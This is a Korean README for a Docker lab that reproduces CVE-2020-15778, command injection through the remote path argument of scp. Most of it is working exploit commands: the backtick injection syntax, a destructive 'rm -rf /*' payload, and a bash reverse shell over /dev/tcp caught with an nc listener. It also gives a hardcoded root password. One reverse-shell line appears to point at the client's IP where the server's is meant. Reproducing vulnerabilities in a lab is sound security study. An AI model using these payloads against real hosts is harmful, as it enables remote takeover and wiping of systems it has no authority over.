
CVE-2020-15778 SCP 명령어 주입 취약점을 Docker 기반 클라이언트-서버 설정으로 재현하여 원격 코드 실행 및 리버스 셸 페이로드를 테스트합니다.
이 저장소는 CVE-2020-15778을 재현합니다.
cd client
docker build -t client-cve .
cd server
docker build -t server-cve .
docker run -d -P --name scp-server server-cve
다음 명령어로 scp 서버의 내부 IP 주소를 확인합니다.
docker inspect --format='{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' scp-server
docker run --name scp-client -i -t client-cve
클라이언트 터미널에서 다음을 실행합니다.
scp nil.txt root@<scp 서버의 내부 IP>:'`your command`/tmp'
비밀번호는 "PASSWORD"입니다.
다음은 이 익스플로잇의 몇 가지 예제입니다.
scp nil.txt root@<scp 서버의 내부 IP>:'`rm -rf /*`/tmp'
클라이언트 머신에서 포트를 리스닝합니다.
nc -lvvp 8080
scp를 사용하여 서버가 대화형 bash를 클라이언트 머신에 매핑하도록 강제합니다.
scp nil.txt root@<scp 클라이언트의 내부 IP>:'`bash -i >& /dev/tcp/<scp 클라이언트의 내부 IP>/8080 0>& 1`/tmp'
클라이언트 IP 주소는 다음을 통해 확인할 수 있습니다.
docker inspect --format='{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' scp-client